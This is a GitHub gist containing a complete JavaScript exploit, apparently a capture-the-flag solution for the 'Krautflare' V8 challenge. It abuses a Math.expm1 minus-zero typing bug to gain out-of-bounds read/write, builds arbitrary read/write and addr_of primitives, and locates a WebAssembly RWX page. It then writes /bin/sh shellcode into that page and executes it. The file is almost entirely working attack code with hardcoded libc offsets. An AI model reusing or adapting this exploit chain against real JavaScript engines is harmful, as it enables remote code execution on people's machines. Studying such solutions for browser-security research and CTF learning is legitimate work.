Created
January 3, 2019 03:31
-
-
Save jaybosamiya/51252476e7b2924f1931b10ffdb67b87 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Krautflare Solution | |
// Author: f0xtr0t | |
let early_object_only_for_addresses = [1,2,3,4,5.1]; | |
// Server/Local differences | |
const SERVER = true; | |
const FPUTC_OFFSET = SERVER ? 0x877e0n : 0x6ef10n; | |
const PRINTF_OFFSET = SERVER ? 0x64e80n : 0x4f190n; | |
const PUTS_OFFSET = SERVER ? 0x809c0n : 0x68f90n; | |
const ENVIRON_OFFSET = SERVER ? 0x3ee098n : 0x39bf38n; | |
const RET_OFFSET = SERVER ? 0x8F68Cn : 0x205D0n; | |
const POP_RDI = SERVER ? 0x2155fn : 0x1fc6an; | |
const BINSH = SERVER ? 0x1B3E9An : 0x1619D9n; | |
const SYSTEM_OFFSET = SERVER ? 0x4F440n : 0x3f480n; | |
// Auxiliary Functions | |
let conversion_buffer = new ArrayBuffer(8); | |
let float_view = new Float64Array(conversion_buffer); | |
let int_view = new BigUint64Array(conversion_buffer); | |
BigInt.prototype.hex = function() { | |
return '0x' + this.toString(16); | |
}; | |
BigInt.prototype.i2f = function() { | |
int_view[0] = this; | |
return float_view[0]; | |
} | |
BigInt.prototype.smi2f = function() { | |
int_view[0] = this << 32n; | |
return float_view[0]; | |
} | |
Number.prototype.f2i = function() { | |
float_view[0] = this; | |
return int_view[0]; | |
} | |
Number.prototype.f2smi = function() { | |
float_view[0] = this; | |
return int_view[0] >> 32n; | |
} | |
Number.prototype.i2f = function() { | |
return BigInt(this).i2f(); | |
} | |
Number.prototype.smi2f = function() { | |
return BigInt(this).smi2f(); | |
} | |
// ____ _ _ | |
// / ___|| |_ __ _ __ _ ___ / | | |
// \___ \| __/ _` |/ _` |/ _ \ | | | |
// ___) | || (_| | (_| | __/ | | | |
// |____/ \__\__,_|\__, |\___| |_| | |
// |___/ | |
// | |
console.log("[ ] Stage 1: Use bug to obtain \"stable\" OOB RW"); | |
const NUM_LOOPS_FOR_OPTIM = 10000; // Change this if it is not optimizing | |
function _auxiliary_(minusZero, isstring) { | |
let aux_x = minusZero ? -0 : (isstring ? "0" : 0); | |
let aux_a = {aux_z : Math.expm1(aux_x), aux_y : -0}; | |
aux_a.aux_y = Object.is(aux_a.aux_z, aux_a.aux_y); | |
return aux_a.aux_y; | |
} | |
let oob_buffer = undefined; | |
let oob_buffer_unpacked = undefined; | |
let oob_buffer_packed = undefined; | |
function trigger(minusZero, isstring) { | |
// The arrays we shall target | |
let a = [0.1, 0.1, 0.1, 0.1, 0.1, 0.1]; | |
let b = [1.1, 1.2, 1.3, 1.4, 1.5]; | |
let c = [{}, 2.2, 2.3, 2.4, 2.5, 2.6, 2.7, 2.8]; | |
let d = [3.1, 3.2, 3.3, 3.4]; | |
// Trigger the actual bug | |
let aux_a = { aux_z : 1.2 }; | |
aux_a.aux_z = _auxiliary_(minusZero, isstring); | |
let i = aux_a.aux_z + 0; // Real: 1, Feedback type: Range(0, 0) | |
// Change `b.length` to 1024 * 1024 | |
a[i * 16] = (1024*1024).smi2f(); | |
// Expose OOB RW buffer to outside world, for stage 1 | |
oob_buffer = b; | |
oob_buffer_unpacked = c; | |
oob_buffer_packed = d; | |
return i == 0 ? 'untriggered' : a[i]; | |
} | |
if (trigger(false, false) != 'untriggered') { | |
throw "[FAIL] Unexpected return value in unoptimized trigger"; | |
} | |
for (var zz = 0 ; zz < NUM_LOOPS_FOR_OPTIM ; ++zz) { trigger(false, false); } | |
// %OptimizeFunctionOnNextCall(trigger); | |
if (trigger(false, true) != 'untriggered') { | |
throw "[FAIL] Unexpected return value in first-level optimized trigger"; | |
} | |
for (var zz = 0 ; zz < NUM_LOOPS_FOR_OPTIM ; ++zz) { trigger(false, false); } | |
// %OptimizeFunctionOnNextCall(trigger); | |
if (trigger(true, true) == undefined) { | |
throw "[FAIL] Unable to trigger bug" | |
} | |
if ( oob_buffer.length < 1024 ) { | |
throw "[FAIL] Triggered bug, but didn't update length of OOB RW buffer"; | |
} | |
console.log("[+] Completed"); | |
// ____ _ ____ | |
// / ___|| |_ __ _ __ _ ___ |___ \ | |
// \___ \| __/ _` |/ _` |/ _ \ __) | | |
// ___) | || (_| | (_| | __/ / __/ | |
// |____/ \__\__,_|\__, |\___| |_____| | |
// |___/ | |
// | |
// Use the OOB RW Buffer(s) to | |
// + get an Arbitrary RW primitives | |
// + get a `addr_of` primitive | |
// + leak address of backing pointer of `oob_buffer_unpacked` | |
console.log("[ ] Stage 2: Obtain leak and arbitrary RW primitives"); | |
const RW_OFFSET = 38; | |
const ADDR_OFFSET = 18; | |
const BACKING_POINTER_OFFSET = 15n; | |
const leaked_addr_backing = oob_buffer[RW_OFFSET].f2i() + BACKING_POINTER_OFFSET; | |
const LEAKED_ADDR = addr_of(early_object_only_for_addresses); | |
console.log(" + Leaked addr: " + LEAKED_ADDR.hex()); | |
// Expects addr as bigint | |
function arb_read(addr) { | |
let old = oob_buffer[RW_OFFSET]; | |
oob_buffer[RW_OFFSET] = (addr - BACKING_POINTER_OFFSET).i2f(); | |
r = oob_buffer_packed[0].f2i(); | |
oob_buffer[RW_OFFSET] = old; | |
return r; | |
} | |
if (arb_read(leaked_addr_backing + 16n).i2f() != 3.3) { | |
console.log(arb_read(leaked_addr_backing + 16n).i2f()); | |
throw "[FAIL] arb_read failed sanity check"; | |
} | |
console.log(" + Defined arb_read"); | |
// Expects addr and val as bigint | |
function arb_write(addr, val) { | |
let old = oob_buffer[RW_OFFSET]; | |
oob_buffer[RW_OFFSET] = (addr - BACKING_POINTER_OFFSET).i2f(); | |
oob_buffer_packed[0] = val.i2f(); | |
oob_buffer[RW_OFFSET] = old; | |
} | |
arb_write(leaked_addr_backing + 8n, (1.337).f2i()); | |
if (oob_buffer_packed[1] != 1.337) { | |
throw "[FAIL] arb_write failed sanity check"; | |
} | |
console.log(" + Defined arb_write"); | |
// Expects an object as argument | |
function addr_of(o) { | |
let old = oob_buffer_unpacked[0]; | |
oob_buffer_unpacked[0] = o; | |
let r = oob_buffer[ADDR_OFFSET].f2i(); | |
oob_buffer_unpacked[0] = old; | |
return r; | |
} | |
(function (){ | |
let t1 = {}; | |
let t2 = {}; | |
let a1 = addr_of(t1) & (~0xffffn); | |
let a2 = addr_of(t2) & (~0xffffn); | |
let a3 = leaked_addr_backing & (~0xffffn); | |
if (a1 != a2 || a1 != a3) { | |
throw "[FAIL] addr_of failed sanity check" | |
} | |
})(); | |
console.log(" + Defined addr_of"); | |
addr_of("test_obj"); | |
console.log("[+] Completed"); | |
// ____ _ _____ | |
// / ___|| |_ __ _ __ _ ___ |___ / | |
// \___ \| __/ _` |/ _` |/ _ \ |_ \ | |
// ___) | || (_| | (_| | __/ ___) | | |
// |____/ \__\__,_|\__, |\___| |____/ | |
// |___/ | |
// | |
// Create rwx page | |
console.log("[ ] Stage 3: Use WASM to create an RWX page"); | |
const wasm_simple = [ | |
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x02, 0x60, | |
0x01, 0x7f, 0x00, 0x60, 0x00, 0x00, 0x02, 0x19, 0x01, 0x07, 0x69, 0x6d, | |
0x70, 0x6f, 0x72, 0x74, 0x73, 0x0d, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, | |
0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x00, 0x00, 0x03, 0x02, 0x01, | |
0x01, 0x07, 0x11, 0x01, 0x0d, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, | |
0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x00, 0x01, 0x0a, 0x08, 0x01, 0x06, | |
0x00, 0x41, 0x2a, 0x10, 0x00, 0x0b | |
]; | |
let wasm_buffer = new ArrayBuffer(wasm_simple.length); | |
const wasm_buf8 = new Uint8Array(wasm_buffer); | |
for (var i = 0 ; i < wasm_simple.length ; ++i) { | |
wasm_buf8[i] = wasm_simple[i]; | |
} | |
let rwx_page_addr = undefined; | |
var wasm_importObject = { | |
imports: { | |
imported_func: function(arg) { | |
// wasm_function -> shared_info -> mapped_pointer -> start_of_rwx_space | |
let a = addr_of(wasm_func); | |
// console.log(a.hex()); | |
a -= 1n; | |
a += 0x18n; | |
// console.log(a.hex()); | |
a = arb_read(a); | |
// console.log(a.hex()); | |
a -= 0x91n; | |
a = arb_read(a); | |
// console.log(a.hex()); | |
rwx_page_addr = a; // arb_read(arb_read((addr_of(wasm_func) - 1n) + 0x18n) - 0x91n); | |
console.log(" + rwx_page_addr = " + rwx_page_addr.hex()); | |
stages_after_wasm(); | |
} | |
} | |
}; | |
async function wasm_trigger() { | |
let result = await WebAssembly.instantiate(wasm_buffer, wasm_importObject); | |
return result; | |
} | |
let wasm_func = undefined; | |
wasm_trigger().then(r => { | |
// %DebugPrint(r.instance.exports.exported_func); | |
f = r.instance.exports.exported_func; | |
wasm_func = f; | |
f(); }); | |
console.log("[+] Completed"); | |
// ____ _ _ _ | |
// / ___|| |_ __ _ __ _ ___ | || | | |
// \___ \| __/ _` |/ _` |/ _ \ | || |_ | |
// ___) | || (_| | (_| | __/ |__ _| | |
// |____/ \__\__,_|\__, |\___| |_| | |
// |___/ | |
let shellcode = [ | |
0x9090909090909090n, | |
0x91969dd1bb48c031n, | |
0x53dbf748ff978cd0n, | |
0xb05e545752995f54n, | |
0xcccccccccc050f3bn | |
]; | |
// Standard x64 shellcode from shellstorm (806). Made into little | |
// endian 64 bit numbers, and padded at the end with int3 | |
// instructions. | |
function stages_after_wasm() { | |
for (var i = 0 ; i < shellcode.length ; ++i ) { | |
let a = rwx_page_addr + (BigInt(i) * 8n); | |
arb_write(a, shellcode[i]); | |
console.log(a.hex() + ' ' + arb_read(a).hex()); | |
} | |
// console.log(rwx_page_addr.hex()); | |
wasm_func(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment